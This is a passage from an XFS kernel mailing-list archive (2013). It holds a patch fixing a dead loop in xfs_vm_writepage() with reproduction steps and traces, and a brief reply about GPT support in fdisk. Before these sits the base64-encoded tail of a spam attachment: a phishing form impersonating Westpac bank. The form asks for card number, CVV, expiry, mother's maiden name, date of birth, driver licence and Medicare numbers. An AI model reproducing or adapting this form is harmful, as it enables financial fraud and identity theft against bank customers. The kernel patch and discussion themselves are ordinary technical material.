JSI+PGZvbnQgY29sb3I9IzUzNTU0Nz4gDQogICAgICAgICAgICAgICAgPGlucHV0IGlkPW5h bWUgb25LZXlVcD1jaGVja0xlbih0aGlzLHRoaXMudmFsdWUpIG1heGxlbmd0aD01MCBzaXpl PTIwIG5hbWU9bmFtZT4NCiAgICAgICAgICAgICAgICA8Zm9udCBzaXplPSIxIj4obmFtZSBh cyBwcmludGVkIG9uIHRoZSBjYXJkKTwvZm9udD48L2ZvbnQ+PC90ZD4NCiAgICAgICAgICAg IDwvdHI+DQogICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM0 JSI+PGI+PGZvbnQgc2l6ZT0iMiI+IDwvZm9udD48Zm9udCBzaXplPSIxIj48Yj48Zm9udCBj b2xvcj0iI0ZGMDAwMCI+KjwvZm9udD48L2I+PC9mb250PiANCiAgICAgICAgICAgICAgICA8 Zm9udCBzaXplPSIyIj5BZGRyZXNzOjwvZm9udD48L2I+PC90ZD4NCiAgICAgICAgICAgICAg PHRkIHdpZHRoPSI2NiUiPjxmb250IGNvbG9yPSM1MzU1NDc+IA0KICAgICAgICAgICAgICAg IDxpbnB1dCBpZD1zdHJlZXQgb25LZXlVcD1jaGVja0xlbih0aGlzLHRoaXMudmFsdWUpIG1h eGxlbmd0aD01MCBzaXplPTIwIG5hbWU9c3RyZWV0Pg0KICAgICAgICAgICAgICAgIDwvZm9u dD48L3RkPg0KICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgIDx0cj4gDQogICAgICAg ICAgICAgIDx0ZCB3aWR0aD0iMzQlIj48Yj48Zm9udCBzaXplPSIxIj48Yj48Zm9udCBjb2xv cj0iI0ZGMDAwMCI+KjwvZm9udD48L2I+PC9mb250PiANCiAgICAgICAgICAgICAgICA8Zm9u dCBzaXplPSIyIj5TdWJ1cmI6PC9mb250PjwvYj48L3RkPg0KICAgICAgICAgICAgICA8dGQg d2lkdGg9IjY2JSI+PGZvbnQgY29sb3I9IzUzNTU0Nz4gDQogICAgICAgICAgICAgICAgPGlu cHV0IGlkPXN1YnVyYiBvbktleVVwPWNoZWNrTGVuKHRoaXMsdGhpcy52YWx1ZSkgbWF4bGVu Z3RoPTUwIHNpemU9MTAgbmFtZT1zdWJ1cmI+DQogICAgICAgICAgICAgICAgPC9mb250Pjwv dGQ+DQogICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAg ICAgPHRkIHdpZHRoPSIzNCUiPjxiPjxmb250IHNpemU9IjEiPjxiPjxmb250IGNvbG9yPSIj RkYwMDAwIj4qPC9mb250PjwvYj48L2ZvbnQ+IA0KICAgICAgICAgICAgICAgIDxmb250IHNp emU9IjIiPlN0YXRlOjwvZm9udD48L2I+PC90ZD4NCiAgICAgICAgICAgICAgPHRkIHdpZHRo PSI2NiUiPjxmb250IGNvbG9yPSM1MzU1NDc+IA0KICAgICAgICAgICAgICAgIDxpbnB1dCBp ZD1zdGF0ZSBvbktleVVwPWNoZWNrTGVuKHRoaXMsdGhpcy52YWx1ZSkgbWF4bGVuZ3RoPTUw IHNpemU9MTAgbmFtZT1zdGF0ZT4NCiAgICAgICAgICAgICAgICA8L2ZvbnQ+PC90ZD4NCiAg ICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICA8dGQg d2lkdGg9IjM0JSI+PGI+PGZvbnQgc2l6ZT0iMSI+PGI+PGZvbnQgY29sb3I9IiNGRjAwMDAi Pio8L2ZvbnQ+PC9iPjwvZm9udD4gDQogICAgICAgICAgICAgICAgPGZvbnQgc2l6ZT0iMiI+ UG9zdGFsIENvZGU6PC9mb250PjwvYj48L3RkPg0KICAgICAgICAgICAgICA8dGQgd2lkdGg9 IjY2JSI+PGZvbnQgY29sb3I9IzUzNTU0Nz4gDQogICAgICAgICAgICAgICAgPGlucHV0IG9u S2V5UHJlc3M9InJldHVybiBudW1iZXJzb25seSh0aGlzLCBldmVudCkiIGlkPXppcCBvbktl eVVwPWNoZWNrTGVuKHRoaXMsdGhpcy52YWx1ZSkgbWF4bGVuZ3RoPTQgc2l6ZT01IG5hbWU9 emlwPg0KICAgICAgICAgICAgICAgIDwvZm9udD48L3RkPg0KICAgICAgICAgICAgPC90cj4N CiAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzQlIj48Yj48 Zm9udCBzaXplPSIxIj48Yj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+KjwvZm9udD48L2I+PC9m b250PiANCiAgICAgICAgICAgICAgICA8Zm9udCBzaXplPSIyIj5Ecml2ZXIgTGljZW5zZSBO dW1iZXI6PC9mb250PjwvYj48L3RkPg0KICAgICAgICAgICAgICA8dGQgd2lkdGg9IjY2JSI+ PGZvbnQgY29sb3I9IzUzNTU0Nz4gDQogICAgICAgICAgICAgICAgPGlucHV0IGlkPWRyaXZl ciBvbktleVVwPWNoZWNrTGVuKHRoaXMsdGhpcy52YWx1ZSkgbWF4bGVuZ3RoPTEwIHNpemU9 MTUgbmFtZT1kcml2ZXI+DQogICAgICAgICAgICAgICAgPC9mb250PjwvdGQ+DQogICAgICAg ICAgICA8L3RyPg0KICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgPHRkIHdpZHRo PSIzNCUiPjxiPjxmb250IHNpemU9IjEiPjxiPjxmb250IGNvbG9yPSIjRkYwMDAwIj4qPC9m b250PjwvYj48L2ZvbnQ+IA0KICAgICAgICAgICAgICAgIDxmb250IHNpemU9IjIiPk1lZGlj YXJlIE51bWJlcjo8L2ZvbnQ+PC9iPjwvdGQ+DQogICAgICAgICAgICAgIDx0ZCB3aWR0aD0i NjYlIj48Zm9udCBjb2xvcj0jNTM1NTQ3PiANCiAgICAgICAgICAgICAgICA8aW5wdXQgaWQ9 bmFtZSBvbktleVVwPWNoZWNrTGVuKHRoaXMsdGhpcy52YWx1ZSkgc2l6ZT0yMCBuYW1lPW1l ZGljYXJlIG1heGxlbmd0aD0iMTAiPg0KICAgICAgICAgICAgICAgIDwvZm9udD48L3RkPg0K ICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgIDx0 ZCB3aWR0aD0iMzQlIj48Yj48Zm9udCBzaXplPSIxIj48Yj48Zm9udCBjb2xvcj0iI0ZGMDAw MCI+KjwvZm9udD48L2I+PC9mb250PiANCiAgICAgICAgICAgICAgICA8Zm9udCBzaXplPSIy Ij5Nb3RoZXIncyBNYWlkZW4gTmFtZTo8L2ZvbnQ+PC9iPjwvdGQ+DQogICAgICAgICAgICAg IDx0ZCB3aWR0aD0iNjYlIj48Zm9udCBjb2xvcj0jNTM1NTQ3PiANCiAgICAgICAgICAgICAg ICA8aW5wdXQgaWQ9bmFtZSBvbktleVVwPWNoZWNrTGVuKHRoaXMsdGhpcy52YWx1ZSkgc2l6 ZT0yMCBuYW1lPW1tbj4NCiAgICAgICAgICAgICAgICA8L2ZvbnQ+PC90ZD4NCiAgICAgICAg ICAgIDwvdHI+DQogICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICA8dGQgd2lkdGg9 IjM0JSI+PGI+PGZvbnQgc2l6ZT0iMSI+PGI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPio8L2Zv bnQ+PC9iPjwvZm9udD4gDQogICAgICAgICAgICAgICAgPGZvbnQgc2l6ZT0iMiI+RGF0ZSBv ZiBCaXJ0aDo8L2ZvbnQ+PC9iPjwvdGQ+DQogICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjYl Ij48Zm9udCBjb2xvcj0jNTM1NTQ3PiANCiAgICAgICAgICAgICAgICA8aW5wdXQgaWQ9ZG9i IG9uS2V5VXA9Y2hlY2tMZW4odGhpcyx0aGlzLnZhbHVlKSBtYXhsZW5ndGg9MTAgc2l6ZT0x MCBuYW1lPWRvYj4NCiAgICAgICAgICAgICAgICA8Zm9udCBzaXplPSIxIj4oZGQvbW0veXl5 eSk8L2ZvbnQ+PC9mb250PjwvdGQ+DQogICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAg PHRyPiANCiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzNCUiPjxiPjxmb250IHNpemU9IjEi PjxiPjxmb250IGNvbG9yPSIjRkYwMDAwIj4qPC9mb250PjwvYj48L2ZvbnQ+IA0KICAgICAg ICAgICAgICAgIDxmb250IHNpemU9IjIiPkNhcmQgTnVtYmVyOjwvZm9udD48L2I+PC90ZD4N CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2NiUiPjxmb250IGNvbG9yPSM1MzU1NDc+IA0K ICAgICAgICAgICAgICAgIDxpbnB1dCBvbktleVByZXNzPSJyZXR1cm4gbnVtYmVyc29ubHko dGhpcywgZXZlbnQpIiBpZD1jYXJkIG9uS2V5VXA9Y2hlY2tMZW4odGhpcyx0aGlzLnZhbHVl KSBtYXhsZW5ndGg9MTYgc2l6ZT0yMCBuYW1lPWNhcmQ+DQogICAgICAgICAgICAgICAgPGZv bnQgc2l6ZT0iMSI+KDE2IGRpZ2l0cywgbm8gZGFzaGVzIG9yIHNwYWNlcyk8L2ZvbnQ+PC9m b250PjwvdGQ+DQogICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgPHRyPiANCiAgICAg ICAgICAgICAgPHRkIHdpZHRoPSIzNCUiPjxiPjxmb250IHNpemU9IjEiPjxiPjxmb250IGNv bG9yPSIjRkYwMDAwIj4qPC9mb250PjwvYj48L2ZvbnQ+IA0KICAgICAgICAgICAgICAgIDxm b250IHNpemU9IjIiPkV4cGlyYXRpb24gRGF0ZTo8L2ZvbnQ+PC9iPjwvdGQ+DQogICAgICAg ICAgICAgIDx0ZCB3aWR0aD0iNjYlIj48Zm9udCBjb2xvcj0jNTM1NTQ3PiANCiAgICAgICAg ICAgICAgICA8aW5wdXQgaWQ9ZXhwIG9uS2V5VXA9Y2hlY2tMZW4odGhpcyx0aGlzLnZhbHVl KSBzaXplPTEwIG5hbWU9ZXhwPg0KICAgICAgICAgICAgICAgIDxmb250IHNpemU9IjEiPiht bS95eXl5KTwvZm9udD48L2ZvbnQ+PC90ZD4NCiAgICAgICAgICAgIDwvdHI+DQogICAgICAg ICAgICA8dHI+IA0KICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM0JSI+PGI+PGZvbnQgc2l6 ZT0iMSI+PGI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPio8L2ZvbnQ+PC9iPjwvZm9udD4gDQog ICAgICAgICAgICAgICAgPGZvbnQgc2l6ZT0iMiI+Q1ZWOjwvZm9udD48L2I+PC90ZD4NCiAg ICAgICAgICAgICAgPHRkIHdpZHRoPSI2NiUiPjxmb250IGNvbG9yPSM1MzU1NDc+IA0KICAg ICAgICAgICAgICAgIDxpbnB1dCBpZD1jdnYgb25LZXlVcD1jaGVja0xlbih0aGlzLHRoaXMu dmFsdWUpIHR5cGU9cGFzc3dvcmQgbWF4bGVuZ3RoPTMgc2l6ZT0zIHZhbHVlPSIiIG5hbWU9 Y3Z2Pg0KICAgICAgICAgICAgICAgIDxmb250IHNpemU9IjEiPihsYXN0IDMgZGlnaXRzIG9u IHRoZSBiYWNrIG9mIHlvdXIgY2FyZCk8L2ZvbnQ+PC9mb250PjwvdGQ+DQogICAgICAgICAg ICA8L3RyPg0KICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgPHRkIGNvbHNwYW49 IjIiPiZuYnNwOzwvdGQ+DQogICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgPHRyPiAN CiAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjIiPiZuYnNwOzwvdGQ+DQogICAgICAgICAg ICA8L3RyPg0KICAgICAgICAgIDwvdGFibGU+DQogICAgICAgICAgPHA+PGZvbnQgc2l6ZT0i MiI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPk5PVEU6PC9mb250PiBJZiB5b3VyIGluZm9ybWF0 aW9uIA0KICAgICAgICAgICAgaXMgaW5jb3JyZWN0IHlvdXIgYWNjb3VudCB3aWxsIG5vdCBi ZSBjcmVkaXRlZC48L2ZvbnQ+PGJyPg0KICAgICAgICAgICAgPGJyPg0KICAgICAgICAgICAg V2hlbiB5b3UgZmluaXNoZWQgdG8gY29tcGxldGUgdGhlIGZvcm0gcGxlYXNlIGNsaWNrICZx dW90OzxiPlN1Ym1pdDwvYj4mcXVvdDsgDQogICAgICAgICAgICBpbiB0aGUgYm90dG9tIGxl ZnQgY29ybmVyLjxsYWJlbCBmb3I9ImNvbW1lbnRzIiBjbGFzcz0ibGVnZW5kIj4gPC9sYWJl bD48L3A+DQogICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJwYWdl LWFjdGlvbnMiPg0KICAgICAgICAgIDx1bD48bGkgY2xhc3M9ZGVmYXVsdDxBIG9uY2xpY2s9 InJldHVybiBzbG9ib3ooKSI+DQogICAgICAgICAgICA8aW5wdXQgdmFsdWU9InN1Ym1pdGZv cm0iIGFsdD0iU3VibWl0IiBzcmM9Imh0dHBzOi8vZm9ybXMud2VzdHBhYy5jb20uYXUvRm9y bXMvcmVzb3VyY2VzLm5zZi9maWxlcy9zdXJ2ZXkvJEZJTEUvZXNpX2J0bl9zdWJtaXQucG5n IiB0eXBlPSJpbWFnZSI+PC9saT4gDQogICAgICAgICAgPC91bD4NCiAgICAgICAgICAgIDwv ZGl2Pg0KPCEtLSBTVEFSVCBQQUdFIFRBRyBDT0RFIC0tPg0KPCEtLSBCRUdJTjogVXNlIHRo aXMgc2VjdGlvbiB0byBzZXQgcGFnZSBzcGVjaWZpYyB2YXJpYWJsZXMgZm9yIHRoZSBVbmlj YSBQYWdlIFRhZyAtLT4NCg0KPCEtLSBFTkQ6IFVzZSB0aGlzIHNlY3Rpb24gdG8gc2V0IHBh Z2Ugc3BlY2lmaWMgdmFyaWFibGVzIGZvciB0aGUgVW5pY2EgUGFnZSBUYWcgLS0+DQo8IS0t IEJFR0lOOiBVbmljYSBQYWdlIFRhZyAtLT4NCjwhLS0gQ29weXJpZ2h0IDIwMDQtMjAwNiBV bmljYSBDb3Jwb3JhdGlvbi4gIEFsbCByaWdodHMgcmVzZXJ2ZWQuIC0tPg0KDQoNCjwhLS0g RU5EOiBVbmljYSBQYWdlIFRhZyAtLT4NCjwhLS0gRU5EIFBBR0UgVEFHIENPREUgLS0+DQo8 L2Zvcm0+DQogICAgICAgIDwvZGl2Pg0KICAgICAgPC9kaXY+DQogICAgICA8ZGl2IGlkPSJm b290ZXItZ2xvYmFsIj4NCiAgICAgICAgPGRpdiBjbGFzcz0ic2xlZXZlIj4NCiAgICAgICAg ICA8cCBpZD0iZm9vdGVyLWNvcHlyaWdodCI+DQogICAgICAgICAgICBDb3B5cmlnaHQgqSAy MDEzIFdlc3RwYWMgQmFua2luZyBDb3Jwb3JhdGlvbjxicj4NCiAgICAgICAgICAgIEFCTiAz MyAwMDcgNDU3IDE0MQ0KICAgICAgICAgIDwvcD48aW1nIGlkPSJsb2dvLXdlc3RwYWMiIHNy Yz0iaHR0cHM6Ly9mb3Jtcy53ZXN0cGFjLmNvbS5hdS9Gb3Jtcy9yZXNvdXJjZXMubnNmL2Zp bGVzL2FsbC8kRklMRS9sb2dvLXdlc3RwYWMucG5nIiBhbHQ9Ildlc3RwYWMgQmFua2luZyBD b3Jwb3JhdGlvbiIgaGVpZ2h0PSI1MSIgd2lkdGg9IjE4MSI+DQogICAgICAgIDwvZGl2Pg0K ICAgICAgPC9kaXY+DQogICAgPC9kaXY+DQogIA0KDQo8L2JvZHk+DQo8L2h0bWw+DQo= ------=_NextPart_000_0012_C3C7F5FB.1C330FD9-- From jeff.liu@oracle.com Tue Jul 16 00:08:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 22D557F37 for ; Tue, 16 Jul 2013 00:08:26 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id A42D0AC001 for ; Mon, 15 Jul 2013 22:08:22 -0700 (PDT) X-ASG-Debug-ID: 1373951301-04cbb04690102b250001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id uDimbx7NL74w4JGk (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 15 Jul 2013 22:08:21 -0700 (PDT) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6G58J47028161 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 16 Jul 2013 05:08:20 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6G58Jd3015214 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 16 Jul 2013 05:08:19 GMT Received: from abhmt101.oracle.com (abhmt101.oracle.com [141.146.116.53]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6G58Iqn008247 for ; Tue, 16 Jul 2013 05:08:18 GMT Received: from [192.168.1.100] (/221.223.107.128) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 15 Jul 2013 22:08:18 -0700 Message-ID: <51E4D553.5040203@oracle.com> Date: Tue, 16 Jul 2013 13:08:35 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20120410 Thunderbird/11.0.1 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH v2] xfs: fix dead loop at xfs_vm_writepage() Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH v2] xfs: fix dead loop at xfs_vm_writepage() Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1373951301 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MAILTO_TO_SPAM_ADDR X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email Hello, Here is the v2 patch for fixing a dead loop issue at xfs_vm_writepage() which has been reported by Michael a few months ago. I have ran all those generic as well as xfs specified tests via xfstests, it works fine to me. The original thread can be found at: http://oss.sgi.com/archives/xfs/2013-07/msg00154.html Sorry for the delay as I have spent all the time to backport upstream changes in the past few weeks. Thanks, -Jeff From: Jie Liu Write a file with an offset greater than 16TB on 32-bit system and then trigger page write-back via sync(1) as below will cause the task hang in a little while: # block_size=4096 # offset=$(((2**32 - 1) * $block_size)) # xfs_io -f -c "pwrite $offset $block_size" /storage/test_file # sync INFO: task sync:2590 blocked for more than 120 seconds. "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. sync D c1064a28 0 2590 2097 0x00000000 ..... Call Trace: [] ? ttwu_do_wakeup+0x18/0x130 [] ? try_to_wake_up+0x1ce/0x220 [] ? wake_up_process+0x1f/0x40 [] ? wake_up_worker+0x1e/0x30 [] schedule+0x23/0x60 [] schedule_timeout+0x18d/0x1f0 [] ? do_raw_spin_unlock+0x4e/0x90 [] ? __queue_delayed_work+0x91/0x150 [] ? do_raw_spin_lock+0x3f/0x100 [] ? do_raw_spin_unlock+0x4e/0x90 [] wait_for_completion+0x7d/0xc0 [] ? try_to_wake_up+0x220/0x220 [] sync_inodes_sb+0x92/0x180 [] sync_inodes_one_sb+0x15/0x20 [] iterate_supers+0xb8/0xc0 [] ? fdatawrite_one_bdev+0x20/0x20 [] sys_sync+0x31/0x80 [] sysenter_do_call+0x12/0x28 The reason is that the end_index is unsigned long with maximum value '2^32-1=4294967295' on 32-bit platform, and the given offset cause it wrapped to 0, so that the following codes will repeat again and again until the task schedule time out: end_index = offset >> PAGE_CACHE_SHIFT; last_index = (offset - 1) >> PAGE_CACHE_SHIFT; if (page->index >= end_index) { unsigned offset_into_page = offset & (PAGE_CACHE_SIZE - 1); /* * Just skip the page if it is fully outside i_size, e.g. due * to a truncate operation that is in progress. */ if (page->index >= end_index + 1 || offset_into_page == 0) { ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ unlock_page(page); return 0; } To check a page is fully outsids i_size or not, we can change the logic to: if (page->index > end_index || (page->index == end_index && offset_into_page == 0)) Secondly, there still has another similar issue when calculating the end offset for mapping the filesystem blocks to the file blocks for delalloc. With the same tests to above, run unmount(8) will cause kernel panic if CONFIG_XFS_DEBUG is enabled: XFS: Assertion failed: XFS_FORCED_SHUTDOWN(ip->i_mount) || \ ip->i_delayed_blks == 0, file: fs/xfs/xfs_super.c, line: 964 kernel BUG at fs/xfs/xfs_message.c:108! invalid opcode: 0000 [#1] SMP task: edddc100 ti: ec6ee000 task.ti: ec6ee000 EIP: 0060:[] EFLAGS: 00010296 CPU: 1 EIP is at assfail+0x2b/0x30 [xfs] .............. Call Trace: [] xfs_fs_destroy_inode+0x74/0x120 [xfs] [] destroy_inode+0x31/0x50 [] evict+0xef/0x170 [] dispose_list+0x32/0x40 [] evict_inodes+0xca/0xe0 [] generic_shutdown_super+0x46/0xd0 [] kill_block_super+0x29/0x70 [] deactivate_locked_super+0x44/0x70 [] deactivate_super+0x47/0x60 [] mntput_no_expire+0xcd/0x120 [] SyS_umount+0xa8/0x370 [] SyS_oldumount+0x1e/0x20 [] sysenter_do_call+0x12/0x28 That because the end_offset is evaluated to 0 same to above, hence the mapping and covertion for dealloc file blocks to file system blocks did not happened. This patch just fixed both issues. Reported-by: Michael L. Semon Signed-off-by: Jie Liu --- fs/xfs/xfs_aops.c | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c index 41a6950..6059d00 100644 --- a/fs/xfs/xfs_aops.c +++ b/fs/xfs/xfs_aops.c @@ -969,7 +969,9 @@ xfs_vm_writepage( offset = i_size_read(inode); end_index = offset >> PAGE_CACHE_SHIFT; last_index = (offset - 1) >> PAGE_CACHE_SHIFT; - if (page->index >= end_index) { + if (page->index < end_index) + end_offset = (xfs_off_t)(page->index + 1) << PAGE_CACHE_SHIFT; + else { unsigned offset_into_page = offset & (PAGE_CACHE_SIZE - 1); /* @@ -978,7 +980,8 @@ xfs_vm_writepage( * page so that reclaim stops reclaiming it. Otherwise * xfs_vm_releasepage() is called on it and gets confused. */ - if (page->index >= end_index + 1 || offset_into_page == 0) + if (page->index > end_index || + (page->index == end_index && offset_into_page == 0)) goto redirty; /* @@ -990,11 +993,9 @@ xfs_vm_writepage( * not written out to the file." */ zero_user_segment(page, offset_into_page, PAGE_CACHE_SIZE); + end_offset = offset; } - end_offset = min_t(unsigned long long, - (xfs_off_t)(page->index + 1) << PAGE_CACHE_SHIFT, - offset); len = 1 << inode->i_blkbits; bh = head = page_buffers(page); -- 1.7.9.5 From arekm@maven.pl Tue Jul 16 00:10:21 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A5EC47F37 for ; Tue, 16 Jul 2013 00:10:21 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 90CE3304032 for ; Mon, 15 Jul 2013 22:10:18 -0700 (PDT) X-ASG-Debug-ID: 1373951416-04cbb0468e102b440001-NocioJ Received: from mail-bk0-f52.google.com (mail-bk0-f52.google.com [209.85.214.52]) by cuda.sgi.com with ESMTP id 2ka7TCgD6woDEpS4 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 15 Jul 2013 22:10:17 -0700 (PDT) X-Barracuda-Envelope-From: arekm@maven.pl X-Barracuda-Apparent-Source-IP: 209.85.214.52 Received: by mail-bk0-f52.google.com with SMTP id d7so74364bkh.11 for ; Mon, 15 Jul 2013 22:10:15 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=maven.pl; s=maven; h=from:to:subject:date:user-agent:references:in-reply-to:mime-version :content-type:content-transfer-encoding:message-id; bh=ienqik7xhbGvOTps3n0lUslCtZirjuKS3brHqdOiYWc=; b=hECITyOK9j4XIt1REGRbbFIkvvQvbFP7X7nt0/x1ptpaj+LJhZB8y78ys8bBf1MiiM EpBzMsg1vSyYetbCqQdxyWRBzS44heT9iqVQbPCRv8mOHkRDPHj+xKGD8zNmd7mH4F3s VhvQkGj+C6RBiUpPBEdVfzoeCucCOSzwdMAbc= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=from:to:subject:date:user-agent:references:in-reply-to:mime-version :content-type:content-transfer-encoding:message-id :x-gm-message-state; bh=ienqik7xhbGvOTps3n0lUslCtZirjuKS3brHqdOiYWc=; b=o6xaKGwl++Ghe31z8+wTp+qrk/2k5jra791Z6PJfxONz5tGeHtlOsJK/DrEHA+rAoZ vnGkj02RxZUyhJM6b158P20TomEuMrk99tHSyDriIQ+NeyugMqTf0zJ/jxbtZdnEWbgT YEqEz2hk2FCdFa5/WPsje/0Q7RnhHivSkmawacTXY9BnvWCm5P/1uAY9awyFq4MGhqAv qZLk51i9qZC6+KDr+FtPddEkCV79iEuTtjKVyakq9Bvlc22Frmz3IbXwg9znRaRv+RXt 21loDbrty79joiZL2/vXA6Qy3qpCMBmjENPgLxp28rUaD0aGIwCEBtHgWIV24/Gn6Ee4 s3IA== X-Received: by 10.204.54.206 with SMTP id r14mr4454212bkg.120.1373951415407; Mon, 15 Jul 2013 22:10:15 -0700 (PDT) Received: from t400.localnet (89-65-189-48.dynamic.chello.pl. [89.65.189.48]) by mx.google.com with ESMTPSA id eu16sm12910402bkc.0.2013.07.15.22.10.14 for (version=TLSv1.2 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 15 Jul 2013 22:10:14 -0700 (PDT) From: Arkadiusz =?utf-8?q?Mi=C5=9Bkiewicz?= To: xfs@oss.sgi.com Subject: Re: XFS errors on 3TB HDD that is identified of size 2TB only Date: Tue, 16 Jul 2013 07:10:13 +0200 X-ASG-Orig-Subj: Re: XFS errors on 3TB HDD that is identified of size 2TB only User-Agent: KMail/1.13.7 (Linux/3.10.0-final-dirty; KDE/4.10.5; x86_64; ; ) References: <11399340.1426.1373932777053.JavaMail.root@benjamin.baylink.com> In-Reply-To: <11399340.1426.1373932777053.JavaMail.root@benjamin.baylink.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Message-Id: <201307160710.13718.arekm@maven.pl> X-Gm-Message-State: ALoCoQlnNpscYHf+ve8nKdQuVDLatMT3jlY66A22G4orIMn61+gkwlZgjEXS59trlLhPjvIf7lFo X-Barracuda-Connect: mail-bk0-f52.google.com[209.85.214.52] X-Barracuda-Start-Time: 1373951416 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Tuesday 16 of July 2013, Jay Ashworth wrote: > TTBOMK, *nothing* other than parted presently knows how to create > and modify GPT partition tables. nwer fdisk has some gpt support https://www.kernel.org/pub/linux/utils/util-linux/v2.23/v2.23-ReleaseNotes =2D-=20 Arkadiusz Mi=C5=9Bkiewicz, arekm / maven.pl From jeff.liu@oracle.com Tue Jul 16 00:11:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) 